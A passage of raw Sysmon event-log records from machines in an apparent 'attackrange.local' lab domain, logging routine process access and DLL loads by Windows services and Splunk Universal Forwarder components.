15:08:17.328{7BD73061-65B2-613B-0C00-00000000F001}8364820C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000056206Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:08:17.328{7BD73061-65B2-613B-0C00-00000000F001}8364820C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000056205Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:08:17.328{7BD73061-65AF-613B-0500-00000000F001}412500C:\Windows\system32\csrss.exe{7BD73061-74E1-613B-A40B-00000000F001}3236C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000056204Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:08:17.328{7BD73061-664E-613B-B000-00000000F001}41843260C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe{7BD73061-74E1-613B-A40B-00000000F001}3236C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+ce6a3b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+17cade|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+18641d|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+17ef16|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c992c4|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+18689b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+189d3c|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c95f5f|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c99fad|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+184c5b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c7dd7e|C:\Windows\System32\ucrtbase.dll+1fb80|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 154100x800000000000000056203Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:08:17.329{7BD73061-74E1-613B-A40B-00000000F001}3236C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe10.0.10011.16384SplunkMonNoHandle Control ProgramWindows (R) Win 7 DDK driverWindows (R) Win 7 DDK providerSplunkMonNoHandle.exe"C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe"C:\Windows\system32\NT AUTHORITY\SYSTEM{7BD73061-65B0-613B-E703-000000000000}0x3e70SystemMD5=BF28C74E12839E40CD89696C7CB01573,SHA256=6187325F302F232DE582FE28E0E0D2B292AB8122C3356C9CE295A482D7B93EA3,IMPHASH=27776F2813155A6CF34F6A075A0C2EC8{7BD73061-664E-613B-B000-00000000F001}4184C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe"C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe" service 23542300x800000000000000018102Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:08:18.650{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=7E1CF3D031E70F0CB4890D18854F3093,SHA256=C90A5814E1E704C011E9ABAFD629BF921FD7AD2545EAD1D2392BDF6D70B67602,IMPHASH=00000000000000000000000000000000falsetrue 10341000x800000000000000056364Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:08:18.912{7BD73061-74E2-613B-A60B-00000000F001}64285848C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe{7BD73061-664E-613B-B000-00000000F001}4184C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe0x101400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe+6025c5|C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe+6020f6|C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe+59e67|C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe+5b88c|C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe+8e7d70|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 734700x800000000000000056363Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:08:18.912{7BD73061-74E2-613B-A60B-00000000F001}6428C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exeC:\Windows\System32\dbgcore.dll10.0.14321.1024 (debuggers(dbg).210127-1811)Windows Core Debugging HelpersMicrosoft® Windows® Operating SystemMicrosoftDBGCORE.DLLMD5=72E8FEC8419AB470FB737883463688FE,SHA256=1DA7D2D2D1C4E6EC17101A4997C4AA610818730D63C72C1D2084ABA3F25C5146,IMPHASH=F67CBD9561C1FEF51B817BA184E81D2EtrueMicrosoft WindowsValid 734700x800000000000000056362Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:08:18.912{7BD73061-74E2-613B-A60B-00000000F001}6428C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exeC:\Windows\System32\dbghelp.dll10.0.14321.1024 (rs1_release.160715-1616)Windows Image HelperMicrosoft® Windows® Operating SystemMicrosoftDBGHELP.DLLMD5=2C92DF5D32661FB4B81B08B72B2102A7,SHA256=BCEF4DEBDE7D8D6916EE3D3E5E63A725E03A058AABCD7DD49DF9D48B16E96D1A,IMPHASH=E7FD2920222985E31019D022BB39EFBEtrueMicrosoft WindowsValid 23542300x800000000000000056361Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:08:18.762{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=F90C478A94883273DD972B98A179ABBD,SHA256=9CFAD80B8A63579965CB70129BB9C7E3E9DF8AEE044E2DA90E6D57AA7CBE6C7F,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 734700x800000000000000056360Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:08:18.713{7BD73061-74E2-613B-A60B-00000000F001}6428C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exeC:\Windows\System32\cryptbase.dll10.0.14393.0 (rs1_release.160715-1616)Base cryptographic API DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationcryptbase.dllMD5=51FCB0FDEFCB9A3E4A1DC8C8673BC63C,SHA256=63A0E1A76B7ABCF56E44B548568649FFB6B5609402746D48A4DC77CCED20F5FE,IMPHASH=9E9C9DFD04CDDF2B6F1412BF096AEAF4trueMicrosoft WindowsValid 734700x800000000000000056359Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:08:18.713{7BD73061-74E2-613B-A60B-00000000F001}6428C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exeC:\Windows\System32\rsaenh.dll10.0.14393.4467 (rs1_release.210604-1844)Microsoft Enhanced Cryptographic ProviderMicrosoft® Windows® Operating SystemMicrosoft Corporationrsaenh.dllMD5=28140830C342F475A597B2D54C42DFFA,SHA256=99E23D0177C6DC59AD72DEEC46CFB995828EF567F001261BC65532B6DDEAD862,IMPHASH=C918D75BDB7774C087BB6C0C9C0A7686trueMicrosoft WindowsValid 734700x800000000000000056358Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:08:18.713{7BD73061-74E2-613B-A60B-00000000F001}6428C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exeC:\Windows\System32\cryptsp.dll10.0.14393.2969 (rs1_release.190503-1820)Cryptographic Service Provider APIMicrosoft® Windows® Operating SystemMicrosoft Corporationcryptsp.dllMD5=9500AE4C4B639FEAEED0CC6C39F45149,SHA256=C1055D4B9A854282336A5404CA0FCB1A2EBC3417600035338C9CDFC7B8D0778C,IMPHASH=96CBD1B5C0EA88B677BA3BB5FD009869trueMicrosoft WindowsValid 734700x800000000000000056357Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:08:18.713{7BD73061-74E2-613B-A60B-00000000F001}6428C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exeC:\Windows\System32\srvcli.dll10.0.14393.0 (rs1_release.160715-1616)Server Service Client DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationSRVCLI.DLLMD5=656F846CAED76C6FC5C76E8BACEF4EF6,SHA256=DFDE27C086764ACC1EA3E6A4E2BA50C2AB532F9E1D99203861F51910A8D850FB,IMPHASH=B15A9E7274075AC5A54930989FAC32E4trueMicrosoft WindowsValid 734700x800000000000000056356Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:08:18.697{7BD73061-74E2-613B-A60B-00000000F001}6428C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exeC:\Windows\System32\bcrypt.dll10.0.14393.4583 (rs1_release.210730-1850)Windows Cryptographic Primitives LibraryMicrosoft® Windows® Operating SystemMicrosoft Corporationbcrypt.dllMD5=63231EA984BC614584102A96D4F35CB4,SHA256=13C5BD283C01B0D50D8D0D99E88FC67F9234FA14A6860AB2B6EE552199FF6A74,IMPHASH=7C2E79D83754439DC7DE7882DCB4238DtrueMicrosoft WindowsValid 734700x800000000000000056355Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:08:18.697{7BD73061-74E2-613B-A60B-00000000F001}6428C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exeC:\Windows\System32\wkscli.dll10.0.14393.0 (rs1_release.160715-1616)Workstation Service Client DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationWKSCLI.DLLMD5=3DCBAE237E4E1F0EBE8E7DC053F778C4,SHA256=C3331CCBE71CC98A5F1BC013F1C0218FE194CA7B497DDF706BF9025AB5A7B330,IMPHASH=050C8F7AA588BF04847F59B2EFAE366AtrueMicrosoft WindowsValid 734700x800000000000000056354Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:08:18.697{7BD73061-74E2-613B-A60B-00000000F001}6428C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exeC:\Windows\System32\netutils.dll10.0.14393.0 (rs1_release.160715-1616)Net Win32 API Helpers DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationNETUTILS.DLLMD5=504739A17F3A05531258784275A6F375,SHA256=A931C54C47B454407990241DB12BD209AC219C55F026ADDED427A9E84A409923,IMPHASH=7D1B32891B9173ED71ED6C18DEFEE578trueMicrosoft WindowsValid 734700x800000000000000056353Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:08:18.697{7BD73061-74E2-613B-A60B-00000000F001}6428C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exeC:\Windows\System32\netapi32.dll10.0.14393.0 (rs1_release.160715-1616)Net Win32 API DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationNetApi32.DLLMD5=F55166956AEAD05A141BA7E80B90AB7B,SHA256=B9BCF21D7F7E771C388C469B2611E8946166C62005B56D72421060DABFF7093F,IMPHASH=2D83F1DFF12EFB449C1FCD6634700369trueMicrosoft WindowsValid 734700x800000000000000056352Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:08:18.697{7BD73061-74E2-613B-A60B-00000000F001}6428C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exeC:\Windows\System32\kernel.appcore.dll10.0.14393.2312 (rs1_release.180607-1919)AppModel API HostMicrosoft® Windows® Operating SystemMicrosoft Corporationkernel.appcore.dllMD5=0AF5EF8A7FEFD4B37036B71514FC20CF,SHA256=D4F178583F6F33794D42B4DB11008494E9CD9F069C2AD2CA304DA63F9B5F659C,IMPHASH=94524C03C5380F78283785F1E05E667DtrueMicrosoft WindowsValid 734700x800000000000000056351Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:08:18.697{7BD73061-74E2-613B-A60B-00000000F001}6428C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exeC:\Windows\System32\Wldap32.dll10.0.14393.3269 (rs1_release.190929-1234)Win32 LDAP API DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationWLDAP32.DLLMD5=12D6C3E8AC705BB42D377C05714F551C,SHA256=E67F6DB96F062A319312C365F1F55B2B38B0F90B77FFDA2522418709CBA45EB3,IMPHASH=D13722FCCB1CDD38974ADB7277D98799trueMicrosoft WindowsValid 734700x800000000000000056350Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:08:18.697{7BD73061-74E2-613B-A60B-00000000F001}6428C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exeC:\Windows\System32\adsldpc.dll10.0.14393.0 (rs1_release.160715-1616)ADs LDAP Provider C DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationadsldpcMD5=F03FD7F523CFDBB96B0F3B8012FC161D,SHA256=8218E5AC2D7A52A2D50CD8D3CC8AA8CE4E37D1BDECFA62BC2637AA32A01CBA54,IMPHASH=AFF2E9AF6DD20912DC1E604BDBCA3761trueMicrosoft WindowsValid 734700x800000000000000056349Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:08:18.697{7BD73061-74E2-613B-A60B-00000000F001}6428C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exeC:\Program Files\SplunkUniversalForwarder\bin\msvcp140.dll14.16.27012.6 built by: vcwrkspcMicrosoft® C Runtime LibraryMicrosoft® Visual Studio® 2017Microsoft Corporationmsvcp140.dllMD5=BA72C2F6F465926980ADC2FB7F8B3490,SHA256=86881A7054532019291C162F0A8177980C1C2B45490F7E88543F22915D08D9FF,IMPHASH=ADF99B9EA3A1F76C33522F96772BC4DDtrueMicrosoft CorporationValid 734700x800000000000000056348Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:08:18.697{7BD73061-74E2-613B-A60B-00000000F001}6428C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exeC:\Program Files\SplunkUniversalForwarder\bin\vcruntime140.dll14.16.27012.6 built by: vcwrkspcMicrosoft® C Runtime LibraryMicrosoft® Visual Studio® 2017Microsoft Corporationvcruntime140.dllMD5=0C583614EB8FFB4C8C2D9E9880220F1D,SHA256=6CADB4FEF773C23B511ACC8B715A084815C6E41DD8C694BC70090A97B3B03FB9,IMPHASH=2CB5DA5225E972A08F32D04B8085DC7EtrueMicrosoft CorporationValid 734700x800000000000000056347Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:08:18.697{7BD73061-74E2-613B-A60B-00000000F001}6428C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exeC:\Program Files\SplunkUniversalForwarder\bin\archive.dll-----MD5=98978F08A7A0D24C92FE8DC5287A8258,SHA256=CBB940A38E834C0BE44884C667863F76D6700D564043F90B3EB813370C3174E7,IMPHASH=86B04733169A315F437478D1C9AA6193trueSplunk, Inc.Valid 734700x800000000000000056346Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:08:18.697{7BD73061-74E2-613B-A60B-00000000F001}6428C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exeC:\Program Files\SplunkUniversalForwarder\bin\libeay32.dll1.0.2tOpenSSL Shared LibraryThe OpenSSL ToolkitThe OpenSSL Project, http://www.openssl.org/libeay32.dllMD5=6445BD4247E3956B244772F3C415585F,SHA256=2B08FC9E160AD0F698226DA3E30A12551E8EBCCA1E7287E3915EC62B58151A78,IMPHASH=838F909F0A52D977E0B8662364FA0BFEtrueSplunk, Inc.Valid 734700x800000000000000056345Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:08:18.697{7BD73061-74E2-613B-A60B-00000000F001}6428C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exeC:\Program Files\SplunkUniversalForwarder\bin\libxmlsec-openssl.dll-----MD5=F30BB43EC30BE50400780223450492CD,SHA256=867D0453E285A5C29A4EFA039D2399662DCCAC98F88C46B0A41CEFB6B68DD836,IMPHASH=464BF3FDF330E6A15D24CC679EF7F72EtrueSplunk, Inc.Valid 734700x800000000000000056344Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:08:18.697{7BD73061-74E2-613B-A60B-00000000F001}6428C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exeC:\Program Files\SplunkUniversalForwarder\bin\libxml2.dll2.9.9libxml2 librarylibxml2-libxml2.dllMD5=0E7B7B3B25A2F094EB3A7BAF471154B8,SHA256=6CFAC8D8D5B7345F2C6CC82CBF8F9DD475881EA260346BE283E52B822F2CCAC1,IMPHASH=6DA659461618DB73B9BD17D114677D20trueSplunk, Inc.Valid 734700x800000000000000056343Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:08:18.697{7BD73061-74E2-613B-A60B-00000000F001}6428C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exeC:\Windows\System32\activeds.dll10.0.14393.4169 (rs1_release.210107-1130)ADs Router Layer DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationADsMD5=C62947CD1080E3B128B517AE91B22D6D,SHA256=6BB5D8967F822B5B1646DC9069212914D36C4D3D65E086AC0890B6A02112B438,IMPHASH=C7DF3F2CF025F0BEDA797705E4F4AFBBtrueMicrosoft WindowsValid 734700x800000000000000056342Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:08:18.697{7BD73061-74E2-613B-A60B-00000000F001}6428C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exeC:\Program Files\SplunkUniversalForwarder\bin\libxmlsec.dll-----MD5=D98BAB348C28C8CFCC11EDB575E2557A,SHA256=ADA3F1256B175ECC390F126D2730D7A1AAB5A53F1AF205A7667D8010416602F9,IMPHASH=3295DC2518E43BEF226F8847873D20C2trueSplunk, Inc.Valid 734700x800000000000000056341Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:08:18.697{7BD73061-74E2-613B-A60B-00000000F001}6428C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exeC:\Program Files\SplunkUniversalForwarder\bin\ssleay32.dll1.0.2tOpenSSL Shared LibraryThe OpenSSL ToolkitThe OpenSSL Project, http://www.openssl.org/ssleay32.dllMD5=B20FA07A7A61791EE537B5945429E141,SHA256=EF53BC2AB58BC548EFA249B0B8F2E1FBB9D4739EF27B0C67DFF1468D555329D3,IMPHASH=E09B42A7EA1725DA2CD99223AD969C63trueSplunk, Inc.Valid 734700x800000000000000056340Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:08:18.697{7BD73061-74E2-613B-A60B-00000000F001}6428C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exeC:\Program Files\SplunkUniversalForwarder\bin\libxslt.dll-----MD5=B8D3119CE62331C6A9B170DA0A608F28,SHA256=7D6C6B7C542B4E67AA468FEB12044E2EE34CE8F8A68C7665D7861F3363B6E66A,IMPHASH=06C8C57E25207671F4639FDBFA0212ECtrueSplunk, Inc.Valid 734700x800000000000000056339Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:08:18.697{7BD73061-74E2-613B-A60B-00000000F001}6428C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exeC:\Windows\System32\ws2_32.dll10.0.14393.3241 (rs1_release_inmarket.190910-1801)Windows Socket 2.0 32-Bit DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationws2_32.dllMD5=06E82905620845A7C185BDEE85CC4140,SHA256=B75C9B080293F85568912BABE749F403144959206F9C6BAB36B628E8F77C5DA0,IMPHASH=76A5AA3DF6083D853F576403C8F841A8trueMicrosoft WindowsValid 734700x800000000000000056338Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:08:18.681{7BD73061-74E2-613B-A60B-00000000F001}6428C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exeC:\Windows\System32\msvcrt.dll7.0.14393.2457 (rs1_release_inmarket.180822-1743)Windows NT CRT DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationmsvcrt.dllMD5=0AF8989DD67A135B536CF948E3EFB7EB,SHA256=C693DA0EF4DCF3BC244661B9FD280FE12C3053FDD7B977712C0CF210831B2EF4,IMPHASH=07D6F84E3C8FD0D2C32F9398A0369BAFtrueMicrosoft WindowsValid 734700x800000000000000056337Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:08:18.681{7BD73061-74E2-613B-A60B-00000000F001}6428C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exeC:\Windows\System32\advapi32.dll10.0.14393.4467 (rs1_release.210604-1844)Advanced Windows 32 Base APIMicrosoft® Windows® Operating SystemMicrosoft Corporationadvapi32.dllMD5=A8CDCAC5C32D14ED8AADDF5489FC5D55,SHA256=140F07A8F6780DAFE20CC4FBE86C9332FB2F0C26ED8F49914BD05265C63EF6F1,IMPHASH=B511E4B82A44D3731CDA46A74F5D57EAtrueMicrosoft WindowsValid 734700x800000000000000056336Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:08:18.681{7BD73061-74E2-613B-A60B-00000000F001}6428C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exeC:\Windows\System32\msvcp_win.dll10.0.14393.2999 (rs1_release_inmarket.190520-1518)Microsoft® C Runtime LibraryMicrosoft® Windows® Operating SystemMicrosoft Corporationmsvcp_win.dllMD5=C50C0CEFA633773AB29572E05834F1FE,SHA256=50178F23AA57B31626614C6C65DA2B6518A64FF684FFA18A0F49C4431DFCBEC5,IMPHASH=5B59892514923CABE9B70CFE22A3F59AtrueMicrosoft WindowsValid 734700x800000000000000056335Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:08:18.681{7BD73061-74E2-613B-A60B-00000000F001}6428C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exeC:\Windows\System32\oleaut32.dll10.0.14393.4402 (rs1_release.210426-1725)OLEAUT32.DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationOLEAUT32.DLLMD5=57B07BF89C63FA60A810FEDE496126CA,SHA256=080632F80FA2A387E5A55C670FFE07C927D553FDDA26F7F8B4156C0C6B20E75E,IMPHASH=8987D71C85BB2C13D3D90194331F962FtrueMicrosoft WindowsValid 734700x800000000000000056334Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:08:18.681{7BD73061-74E2-613B-A60B-00000000F001}6428C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exeC:\Windows\System32\sechost.dll10.0.14393.3808 (rs1_release.200707-2105)Host for SCM/SDDL/LSA Lookup APIsMicrosoft® Windows® Operating SystemMicrosoft Corporationsechost.dllMD5=E6B98644CD3B912C44C39CC0996790A9,SHA256=23BE56E1B8DBA449C0959753175BD15457EC88E93E9E8B86489266347959A6F2,IMPHASH=D6E06125849E8565A50F366A0149FB40trueMicrosoft WindowsValid 734700x800000000000000056333Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:08:18.681{7BD73061-74E2-613B-A60B-00000000F001}6428C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exeC:\Windows\System32\bcryptprimitives.dll10.0.14393.4583 (rs1_release.210730-1850)Windows Cryptographic Primitives LibraryMicrosoft® Windows® Operating SystemMicrosoft Corporationbcryptprimitives.dllMD5=8AAF6E1B14B9210052FFF90E25926D63,SHA256=F2120C8E63EA94F8618B31319A534731C16D8FDD58B0E1E70217D72A39D78353,IMPHASH=BA5C37A1CF8C2730ED1F4DA1587496A5trueMicrosoft WindowsValid 734700x800000000000000056332Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:08:18.681{7BD73061-74E2-613B-A60B-00000000F001}6428C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exeC:\Windows\System32\rpcrt4.dll10.0.14393.4467 (rs1_release.210604-1844)Remote Procedure Call RuntimeMicrosoft® Windows® Operating SystemMicrosoft Corporationrpcrt4.dllMD5=B0C4BF9491FB453B77399E3C56C11DC8,SHA256=66D5D1B3D25D15EA8737C8B2EF83E770BA10931868F24DCACC50936F0A0BAC08,IMPHASH=EB45E6A4165ECBE63E7CA7D14DE0BD8EtrueMicrosoft WindowsValid 734700x800000000000000056331Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:08:18.681{7BD73061-74E2-613B-A60B-00000000F001}6428C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exeC:\Windows\System32\ucrtbase.dll10.0.14393.3659 (rs1_release_1.200410-1813)Microsoft® C Runtime LibraryMicrosoft® Windows® Operating SystemMicrosoft Corporationucrtbase.dllMD5=9804D130E8E7178738C2B9808091B427,SHA256=6053B7CC85846F15094475116A8C57BA89FE99FDD1978C54E8A7E2114E318FE3,IMPHASH=57ABD1FDE351971A01E912069E11B44CtrueMicrosoft WindowsValid 734700x800000000000000056330Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:08:18.681{7BD73061-74E2-613B-A60B-00000000F001}6428C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exeC:\Windows\System32\combase.dll10.0.14393.4583 (rs1_release.210730-1850)Microsoft COM for WindowsMicrosoft® Windows® Operating SystemMicrosoft CorporationCOMBASE.DLLMD5=878EBD02A580FDF8F187100127E6D3A8,SHA256=54E4BADDFBD97CFFF871B6D7316B28872218B92F37C41199F71EB37BC5634216,IMPHASH=0863DD72CA0C3702DB7ACD19A4D5DEB1trueMicrosoft WindowsValid 734700x800000000000000056329Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:08:18.681{7BD73061-74E2-613B-A60B-00000000F001}6428C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exeC:\Windows\System32\ole32.dll10.0.14393.4169 (rs1_release.210107-1130)Microsoft OLE for WindowsMicrosoft® Windows® Operating SystemMicrosoft CorporationOLE32.DLLMD5=676B0A1FB2A01D19AECB1F19883B6FC4,SHA256=56DEB219840DBAF9DAF645AD5D79AF9AB05F20E688382854DD487F440B257552,IMPHASH=9724475F92787AFC45A3BA458C0DCDC5trueMicrosoft WindowsValid 734700x800000000000000056328Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:08:18.681{7BD73061-74E2-613B-A60B-00000000F001}6428C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exeC:\Windows\System32\gdi32full.dll10.0.14393.4530 (rs1_release.210705-0736)GDI Client DLLMicrosoft® Windows® Operating SystemMicrosoft 